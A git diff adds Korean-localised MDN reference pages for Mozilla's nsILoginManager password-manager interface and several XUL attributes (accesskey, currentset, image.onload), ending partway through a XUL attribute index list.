+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/passwordmgr/public/nsILoginManager.idl" rel="custom">toolkit/components/passwordmgr/public/nsILoginManager.idl</a></code><span style="text-align: right; float: right;"><a href="/ko/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">스크립트에서 사용 가능</a></span></div>
+<span style="padding: 4px 2px;">
+
+Used to interface with the built-in Password Manager
+</span>
+
+  <div style="height: 42px; position: relative; padding: 2px; width: auto;">
+
+  <div style="top: 22px; font-size: 11px; position: absolute;">1.0</div>
+
+  <div style="top: 22px; font-size: 11px; position: absolute; left: 0px; text-align: right; float: right; width: 100%;">66</div>
+
+  <div style="height: 8px; top: 16px; background: #dd0000; left: 0px; position: absolute; width: 8.571428571428571%;"></div>
+
+<div style="height: 8px; top: 16px; left: 8.571428571428571%; background: #00dd00; position: absolute; width: 91.42857142857143%;" title="Introduced in Gecko 1.9 (Firefox 3)"></div>
+
+<div style="top: 0px; font-size: 11px; position: absolute; left: 8.571428571428571%;">Introduced</div>
+<div style="top: 22px; font-size: 11px; position: absolute; left: 8.571428571428571%;">Gecko 1.9</div>
+
+    <div style="height: 8px; top: 16px; left: 9.976190285714287%; background: #eeee00; position: absolute; width: 1%; border-radius: 4px; -webkit-border-radius: 4px;" title="Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)"></div>
+
+</div>
+
+<div style="background: #eee; padding: 2px;">
+Inherits from: <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)</span></div>
+</div><p></p>
+<p>Replaces <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPasswordManager" title="">nsIPasswordManager</a></code> which was used in older versions of Gecko.</p>
+<p>Implemented by: <code>@mozilla.org/login-manager;1</code>. To create an instance, use:</p>
+<pre class="eval">var loginManager = Components.classes["@mozilla.org/login-manager;1"]
+                   .getService(Components.interfaces.nsILoginManager);
+</pre>
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td><code>void <a href="#addLogin()">addLogin</a>(in nsILoginInfo aLogin);</code></td>
+    </tr>
+    <tr>
+      <td><code>nsIAutoCompleteResult <a href="#autoCompleteSearch()">autoCompleteSearch</a>(in AString aSearchString, in nsIAutoCompleteResult aPreviousResult, in nsIDOMHTMLInputElement aElement);</code></td>
+    </tr>
+    <tr>
+      <td><code>unsigned long <a href="#countLogins()">countLogins</a>(in AString aHostname, in AString aActionURL, in AString aHttpRealm);</code></td>
+    </tr>
+    <tr>
+      <td><code>boolean <a href="#fillForm()">fillForm</a>(in nsIDOMHTMLFormElement aForm);</code> </td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#findLogins()">findLogins</a>(out unsigned long count, in AString aHostname, in AString aActionURL, in AString aHttpRealm, [retval, array, size_is(count)] out nsILoginInfo logins);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#getAllDisabledHosts()">getAllDisabledHosts</a>([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#getAllLogins()">getAllLogins</a>([optional] out unsigned long count, [retval, array, size_is(count)] out nsILoginInfo logins);</code></td>
+    </tr>
+    <tr>
+      <td><code>boolean <a href="#getLoginSavingEnabled()">getLoginSavingEnabled</a>(in AString aHost);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#modifyLogin()">modifyLogin</a>(in nsILoginInfo oldLogin, in nsISupports newLoginData);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#removeAllLogins()">removeAllLogins</a>();</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#removeLogin()">removeLogin</a>(in nsILoginInfo aLogin);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#searchLogins()">searchLogins</a>(out unsigned long count, in nsIPropertyBag matchData, [retval, array, size_is(count)] out nsILoginInfo logins);</code> </td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#setLoginSavingEnabled()">setLoginSavingEnabled</a>(in AString aHost, in boolean isEnabled);</code></td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Methods" name="Methods">Methods</h2>
+<h3 id="addLogin()" name="addLogin()">addLogin()</h3>
+<p>Stores a new login in the Login Manager.</p>
+<p></p><div class="blockIndicator note"><strong>주의:</strong> Default values for the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are created if the specified login doesn't explicitly specify them.</div><p></p>
+<pre class="eval">void addLogin(
+  in nsILoginInfo aLogin
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aLogin</code></dt>
+  <dd>
+    The login to store.</dd>
+</dl>
+<h6 id="Exceptions_thrown" name="Exceptions_thrown">Exceptions thrown</h6>
+<dl>
+  <dt>
+     </dt>
+  <dd>
+    An exception is thrown if the login information is already stored in the Login Manager. To change a login, you have to use <code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager#modifyLogin()">modifyLogin()</a></code>.</dd>
+</dl>
+<h3 id="autoCompleteSearch()" name="autoCompleteSearch()">autoCompleteSearch()</h3>
+<p>Generates results for a user field autocomplete menu.</p>
+<p></p><div class="blockIndicator note"><strong>주의:</strong> This method is provided for use only by the <code>FormFillController</code>, which calls it directly. It should not be used for any other purpose.</div><p></p>
+<pre class="eval">nsIAutoCompleteResult autoCompleteSearch(
+  in AString aSearchString,
+  in nsIAutoCompleteResult aPreviousResult,
+  in nsIDOMHTMLInputElement aElement
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aSearchString</code></dt>
+  <dd>
+    Missing Description</dd>
+  <dt>
+    <code>aPreviousResult</code></dt>
+  <dd>
+    Missing Description</dd>
+  <dt>
+    <code>aElement</code></dt>
+  <dd>
+    Missing Description</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p>Missing Description</p>
+<h3 id="countLogins()" name="countLogins()">countLogins()</h3>
+<p>Returns the number of logins matching the specified criteria. Called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a Master Password, as the logins don't need to be decrypted).</p>
+<pre class="eval">unsigned long countLogins(
+  in AString aHostname,
+  in AString aActionURL,
+  in AString aHttpRealm
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aHostname</code></dt>
+  <dd>
+    The hostname to which to restrict searches, formatted as a URL. For example, "<a class="external" href="http://www.bar.com" rel="freelink">http://www.bar.com</a>". To match all hostnames, specify <code>""</code> (empty string). A value of <code>null</code> will cause countLogins() to not match any logins.</dd>
+  <dt>
+    <code>aActionURL</code></dt>
+  <dd>
+    For form logins, this parameter should specify the URL to which the form will be submitted. To match any form login, specify <code>""</code> (empty string). To not match any form logins (For example when interested in protocol logins only), specify <code>null</code>.</dd>
+  <dt>
+    <code>aHttpRealm</code></dt>
+  <dd>
+    For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see <a class="external" href="http://tools.ietf.org/html/rfc2617" title="http://tools.ietf.org/html/rfc2617">RFC 2617</a>). To match any protocol login, specify <code>""</code> (empty string). To not match any protocol logins (For example when interested in form logins only), specify <code>null</code>.</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p>The number of logins matching the parameters passed.</p>
+<p></p><h3 id="fillForm()">fillForm()</h3><p></p>
+<p>Fills out a form with login information, if appropriate information is available.</p>
+<p></p><div class="blockIndicator note"><strong>주의:</strong> This method will attempt to fill out the form regardless of the setting of the <code>signon.autofillForms</code> preference.</div><p></p>
+<pre class="eval">boolean fillForm(
+  in nsIDOMHTMLFormElement aForm
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aForm</code></dt>
+  <dd>
+    The HTMLform to attempt to fill out.</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p><code>true</code> if the form was successfully filled out; otherwise <code>false</code>.</p>
+<h3 id="findLogins()" name="findLogins()">findLogins()</h3>
+<p>Searches for logins matching the specified criteria. Called when looking for logins that might be applicable to a given form or authentication request.</p>
+<pre class="eval">void findLogins(
+  out unsigned long count,
+  in AString aHostname,
+  in AString aActionURL,
+  in AString aHttpRealm,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
+  <dt>
+    <code>aHostname</code></dt>
+  <dd>
+    The hostname to restrict searches to, formatted as a URL. For example, "<a class="external" href="http://www.bar.com" rel="freelink">http://www.bar.com</a>".</dd>
+  <dt>
+    <code>aActionURL</code></dt>
+  <dd>
+    For form logins, this parameter should specify the URL to which the form will be submitted. For protocol logins, specify <code>null</code>. An empty string ("") will match any value (except <code>null</code>).</dd>
+  <dt>
+    <code>aHttpRealm</code></dt>
+  <dd>
+    For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see <a class="external" href="http://tools.ietf.org/html/rfc2617" title="http://tools.ietf.org/html/rfc2617">RFC 2617</a>). For form logins, this parameter should be <code>null</code>. An empty string ("") will match any value (except <code>null</code>).</dd>
+  <dt>
+    <code>logins</code></dt>
+  <dd>
+    An array of <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>This method can be called from JavaScript like this:</p>
+<pre class="brush: js"> var logins = myLoginMgr.findLogins({}, hostname, ...);
+</pre>
+<h3 id="getAllDisabledHosts()" name="getAllDisabledHosts()">getAllDisabledHosts()</h3>
+<p>Returns a list of all hosts for which login saving is disabled.</p>
+<pre class="eval">void getAllDisabledHosts(
+  [optional] out unsigned long count,
+  [retval, array, size_is(count)] out wstring hostnames
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
+  <dt>
+    <code>hostnames</code></dt>
+  <dd>
+    An array of hostname strings in URL format without a pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>You can call this method from JavaScript like this:</p>
+<pre class="brush: js"> var disabledHosts = myLoginMgr.getAllDisabledHosts({});
+</pre>
+<h3 id="getAllLogins()" name="getAllLogins()">getAllLogins()</h3>
+<p>Returns an array containing all logins recorded by the Login Manager.</p>
+<p>If you just want to see if any logins are stored, use <code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager#countLogins()">countLogins()</a></code> instead. It's more efficient, and avoids the possibility of the user being prompted for their master password.</p>
+<pre class="eval">void getAllLogins(
+  [optional] out unsigned long count,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
+  <dt>
+    <code>logins</code></dt>
+  <dd>
+    An array of <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects containing all the logins the Login Manager has on record.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>You can call this method from JavaScript like this:</p>
+<pre class="brush: js"> var logins = myLoginMgr.getAllLogins({});
+</pre>
+<h3 id="getLoginSavingEnabled()" name="getLoginSavingEnabled()">getLoginSavingEnabled()</h3>
+<p>Reports whether or not saving login information is enabled for a host.</p>
+<pre class="eval">boolean getLoginSavingEnabled(
+  in AString aHost
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aHost</code></dt>
+  <dd>
+    The hostname to check. This argument should be in the origin URL format, with no pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p><code>true</code> if login saving is enabled for the host, otherwise <code>false</code>.</p>
+<h3 id="modifyLogin()" name="modifyLogin()">modifyLogin()</h3>
+<p>Modifies an existing login by replacing it with a new one.</p>
+<p>If newLoginData is a <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code>, all of the old login's <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> properties are changed to the values from newLoginData (but the old login's <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are unmodified).</p>
+<p>If newLoginData is a <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPropertyBag" title="">nsIPropertyBag</a></code>, only the specified properties will be changed. The <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties of oldLogin can be changed in this manner.</p>
+<p>If the propertybag contains an item named "timesUsedIncrement", the login's timesUsed property will be incremented by the item's value.</p>
+<pre class="eval">void modifyLogin(
+  in nsILoginInfo oldLogin,
+  in nsISupports newLoginData
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>oldLogin</code></dt>
+  <dd>
+    The login to be modified.</dd>
+  <dt>
+    <code>newLoginData</code></dt>
+  <dd>
+    The login information to replace the <code>oldLogin</code> with. This may be specified as either an <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> or an <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPropertyBag2" title="">nsIPropertyBag2</a></code> object.</dd>
+</dl>
+<h3 id="removeAllLogins()" name="removeAllLogins()">removeAllLogins()</h3>
+<p>Removes all logins known by the Login Manager. This works without a need for the master password, if one is set.</p>
+<pre class="eval">void removeAllLogins();
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<p>None.</p>
+<h3 id="removeLogin()" name="removeLogin()">removeLogin()</h3>
+<p>Removes a login from the Login Manager.</p>
+<p></p><div class="blockIndicator note"><strong>주의:</strong> The specified login must exactly match a stored login. However, the values of any <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are ignored.</div><p></p>
+<pre class="eval">void removeLogin(
+  in nsILoginInfo aLogin
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aLogin</code></dt>
+  <dd>
+    The login to remove from the Login Manager. Only a login that is an exact match is deleted.</dd>
+</dl>
+<p></p><h3 id="searchLogins()">searchLogins()</h3><p></p>
+<p>Searches for logins in the login manager's data store, returning an array of matching logins. If there are no matching logins, an empty array is returned.</p>
+<pre class="eval">void searchLogins(
+  out unsigned long count,
+  in nsIPropertyBag matchData,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array.</dd>
+  <dt>
+    <code>matchData</code></dt>
+  <dd>
+    The data used for the search. This does not follow the same requirements as <code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager#findLogins()">findLogins()</a></code> for those fields; wildcard matches are not specified.</dd>
+  <dt>
+    <code>logins</code></dt>
+  <dd>
+    An array of matching <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>This method can be called from JavaScript like this:</p>
+<pre class="brush: js"> var logins = myLoginMgr.searchLogins({}, matchData);
+ var numLogins = logins.length;
+</pre>
+<h3 id="setLoginSavingEnabled()" name="setLoginSavingEnabled()">setLoginSavingEnabled()</h3>
+<p>Enables or disables storing logins for a specified host. When login storing is disabled, the Login Manager won't prompt the user to store logins for that host. Existing logins are not affected.</p>
+<pre class="eval">void setLoginSavingEnabled(
+  in AString aHost,
+  in boolean isEnabled
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aHost</code></dt>
+  <dd>
+    The hostname to adjust the setting for. This argument should be in the origin URL format, with no pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
+  <dt>
+    <code>isEnabled</code></dt>
+  <dd>
+    If <code>true</code>, login saving is enabled for the specified host. If <code>false</code>, login saving is disabled.</dd>
+</dl>
+<h2 id="See_also" name="See_also">See also</h2>
+<ul>
+  <li><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code></li>
+  <li><a href="/en/XPCOM_Interface_Reference/nsILoginManager/Using_nsILoginManager" title="en/Using_nsILoginManager">Using nsILoginManager</a></li>
+</ul>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/attribute/accesskey/index.html b/files/ko/mozilla/tech/xul/attribute/accesskey/index.html
new file mode 100644
index 0000000000..611ef87975
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/attribute/accesskey/index.html
@@ -0,0 +1,44 @@
+---
+title: accesskey
+slug: Mozilla/Tech/XUL/Attribute/accesskey
+tags:
+  - XUL Attributes
+translation_of: Archive/Mozilla/XUL/Attribute/accesskey
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ko/docs/XUL_Reference">XUL Reference home</a></span></div>
+<div class="noinclude">
+ <dl>
+  <dd>
+   사용요소: <code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/textbox (Firefox autocomplete)" title="textbox (Firefox autocomplete)">textbox (Firefox autocomplete)</a></code></dd>
+ </dl>
+</div>
+<dl>
+ <dt>
+  <code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code></dt>
+ <dd>
+  타입:
+  <i>
+   character</i>
+ </dd>
+ <dd>
+  이 속성에는 단축키로 사용될 문자를 지정합니다. 문자는 대상 요소의 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성값인 텍스트에 포함된 문자 중 하나를 사용하는 것이 좋습니다.
+  <div class="noinclude">
+   문자는 보통 밑줄이 그어져 출력되며, 이는 플랫폼과 테마에 따라 다를 수 있습니다. 사용자가 Alt(또는 플랫폼에 따라 다른 키)와 단축키를 같이 누르면 창의 어디에 있든 해당 요소가 활성화 됩니다. <b>속성값은 대소문자를 구분하지 않지만 라벨에 대문자와 소문자가 같이 있다면 accesskey 속성과 동일한 문자가 사용됩니다.</b></div>
+ </dd>
+</dl>
+<h4 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h4>
+<div class="float-right">
+ <img alt="Image:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+  &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+  &lt;textbox id="myName"/&gt;
+  &lt;button label="Cancel" accesskey="n"/&gt;
+  &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id=".EB.98.90_.EB.B3.BC_.EA.B3.B3" name=".EB.98.90_.EB.B3.BC_.EA.B3.B3">또 볼 곳</h4>
+<p><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> attribute, <code id="a-acceltext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/acceltext">acceltext</a></code> attribute</p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/attribute/currentset/index.html b/files/ko/mozilla/tech/xul/attribute/currentset/index.html
new file mode 100644
index 0000000000..2f597090c5
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/attribute/currentset/index.html
@@ -0,0 +1,25 @@
+---
+title: currentset
+slug: Mozilla/Tech/XUL/Attribute/currentset
+tags:
+  - MDC Project
+  - NeedsTechnicalReview
+  - XUL Attributes
+translation_of: Archive/Mozilla/XUL/Attribute/currentset
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ko/docs/XUL_Reference">XUL Reference home</a></span></div>
+<dl>
+ <dt>
+  <code id="a-currentset"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/currentset">currentset</a></code></dt>
+ <dd>
+  <b><span class="highlightred">Firefox only</span></b></dd>
+ <dd>
+  타입:
+  <i>
+   comma-separated string</i>
+ </dd>
+ <dd>
+  현재 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>에 출력되는 항목의 집합입니다. 이 집합은 사용자가 툴바를 커스터마이징(사용자 지정) 할 경우 변경될 수 있습니다. 속성값은 쉼표(,)로 분리된 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>에 있는 항목들의 ID 목록이어야 하며, 추가적으로 "<code>separator</code>", "<code>spring</code>", "<code>spacer</code>"의 문자열을 포함할 수 있습니다.</dd>
+</dl>
+<p><span class="comment">this isn't necessary the *current* set, i.e. it might not be equal the value of the currentSet property which is computed from the actual DOM</span></p>
diff --git a/files/ko/mozilla/tech/xul/attribute/image.onload/index.html b/files/ko/mozilla/tech/xul/attribute/image.onload/index.html
new file mode 100644
index 0000000000..a8b0c5020a
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/attribute/image.onload/index.html
@@ -0,0 +1,12 @@
+---
+title: image.onload
+slug: Mozilla/Tech/XUL/Attribute/image.onload
+translation_of: Archive/Mozilla/XUL/Attribute/image.onload
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ko/docs/XUL_Reference">XUL Reference home</a></span></div>
+
+<dl>
+ <dt><code id="a-image.onload"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/image.onload">image.onload</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>이 이벤트 핸들러는 이미지 로딩이 완료 되었을때 <code><a href="/ko/docs/Mozilla/Tech/XUL/image" title="image">image</a></code> element에서 호출됩니다. This applies whether the image is applied via the <code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code> attribute or the <code>list-style-image</code> style property. If you change the image, the event will fire again when the new image loads. This event will not bubble up the element tree.</dd>
+</dl>
diff --git a/files/ko/mozilla/tech/xul/attribute/index.html b/files/ko/mozilla/tech/xul/attribute/index.html
new file mode 100644
index 0000000000..6091401093
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/attribute/index.html
@@ -0,0 +1,270 @@
+---
+title: Attributes
+slug: Mozilla/Tech/XUL/Attribute
+tags:
+  - XUL Attributes
+translation_of: Archive/Mozilla/XUL/Attribute
+---
+<p><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ko/docs/XUL_Reference">XUL Reference home</a></span></p>
+<ul>
+ <li><a href="ko/XUL/Attribute/acceltext">acceltext</a></li>
+ <li><a href="ko/XUL/Attribute/accessible">accessible</a></li>
+ <li><a href="ko/XUL/Attribute/accesskey">accesskey</a></li>
+ <li><a href="ko/XUL/Attribute/afterselected">afterselected</a></li>
+ <li><a href="ko/XUL/Attribute/align">align</a></li>
+ <li><a href="ko/XUL/Attribute/allowevents">allowevents</a></li>
+ <li><a href="ko/XUL/Attribute/allownegativeassertions">allownegativeassertions</a></li>
+ <li><a href="ko/XUL/Attribute/alternatingbackground">alternatingbackground</a></li>
+ <li><a href="ko/XUL/Attribute/alwaysopenpopup">alwaysopenpopup</a></li>
+ <li><a href="ko/XUL/Attribute/attribute">attribute</a></li>
+ <li><a href="ko/XUL/Attribute/autocheck">autocheck</a></li>
+ <li><a href="ko/XUL/Attribute/autoCheck">autoCheck</a></li>
+ <li><a href="ko/XUL/Attribute/autocompleteenabled">autocompleteenabled</a></li>
+ <li><a href="ko/XUL/Attribute/autocompletepopup">autocompletepopup</a></li>
+ <li><a href="ko/XUL/Attribute/autocompletesearch">autocompletesearch</a></li>
+ <li><a href="ko/XUL/Attribute/autocompletesearchparam">autocompletesearchparam</a></li>
+ <li><a href="ko/XUL/Attribute/autoFill">autoFill</a></li>
+ <li><a href="ko/XUL/Attribute/autoFillAfterMatch">autoFillAfterMatch</a></li>
+ <li><a href="ko/XUL/Attribute/autoscroll">autoscroll</a></li>
+ <li><a href="ko/XUL/Attribute/beforeselected">beforeselected</a></li>
+ <li><a href="ko/XUL/Attribute/buttonaccesskeyaccept">buttonaccesskeyaccept</a></li>
+ <li><a href="ko/XUL/Attribute/buttonaccesskeycancel">buttonaccesskeycancel</a></li>
+ <li><a href="ko/XUL/Attribute/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a></li>
+ <li><a href="ko/XUL/Attribute/buttonaccesskeyextra1">buttonaccesskeyextra1</a></li>
+ <li><a href="ko/XUL/Attribute/buttonaccesskeyextra2">buttonaccesskeyextra2</a></li>
+ <li><a href="ko/XUL/Attribute/buttonaccesskeyhelp">buttonaccesskeyhelp</a></li>
+ <li><a href="ko/XUL/Attribute/buttonalign">buttonalign</a></li>
+ <li><a href="ko/XUL/Attribute/buttondir">buttondir</a></li>
+ <li><a href="ko/XUL/Attribute/buttonlabelaccept">buttonlabelaccept</a></li>
+ <li><a href="ko/XUL/Attribute/buttonlabelcancel">buttonlabelcancel</a></li>
+ <li><a href="ko/XUL/Attribute/buttonlabeldisclosure">buttonlabeldisclosure</a></li>
+ <li><a href="ko/XUL/Attribute/buttonlabelextra1">buttonlabelextra1</a></li>
+ <li><a href="ko/XUL/Attribute/buttonlabelextra2">buttonlabelextra2</a></li>
+ <li><a href="ko/XUL/Attribute/buttonlabelhelp">buttonlabelhelp</a></li>
+ <li><a href="ko/XUL/Attribute/buttonorient">buttonorient</a></li>
+ <li><a href="ko/XUL/Attribute/buttonpack">buttonpack</a></li>
+ <li><a href="ko/XUL/Attribute/buttons">buttons</a></li>
+ <li><a href="ko/XUL/Attribute/checked">checked</a></li>
+ <li><a href="ko/XUL/Attribute/checkState">checkState</a></li>
+ <li><a href="ko/XUL/Attribute/class">class</a></li>
+ <li><a href="ko/XUL/Attribute/closebutton">closebutton</a></li>
+ <li><a href="ko/XUL/Attribute/coalesceduplicatearcs">coalesceduplicatearcs</a></li>
+ <li><a href="ko/XUL/Attribute/collapse">collapse</a></li>
+ <li><a href="ko/XUL/Attribute/collapsed">collapsed</a></li>
+ <li><a href="ko/XUL/Attribute/color">color</a></li>
+ <li><a href="ko/XUL/Attribute/cols">cols</a></li>
+ <li><a href="ko/XUL/Attribute/command">command</a></li>
+ <li><a href="ko/XUL/Attribute/commandupdater">commandupdater</a></li>
+ <li><a href="ko/XUL/Attribute/completedefaultindex">completedefaultindex</a></li>
+ <li><a href="ko/XUL/Attribute/container">container</a></li>
+ <li><a href="ko/XUL/Attribute/containment">containment</a></li>
+ <li><a href="ko/XUL/Attribute/contentcontextmenu">contentcontextmenu</a></li>
+ <li><a href="ko/XUL/Attribute/contenttooltip">contenttooltip</a></li>
+ <li><a href="ko/XUL/Attribute/context">context</a></li>
+ <li><a href="ko/XUL/Attribute/contextmenu">contextmenu</a></li>
+ <li><a href="ko/XUL/Attribute/control">control</a></li>
+ <li><a href="ko/XUL/Attribute/crop">crop</a></li>
+ <li><a href="ko/XUL/Attribute/curpos">curpos</a></li>
+ <li><a href="ko/XUL/Attribute/current">current</a></li>
+ <li><a href="ko/XUL/Attribute/currentset">currentset</a></li>
+ <li><a href="ko/XUL/Attribute/customindex">customindex</a></li>
+ <li><a href="ko/XUL/Attribute/customizable">customizable</a></li>
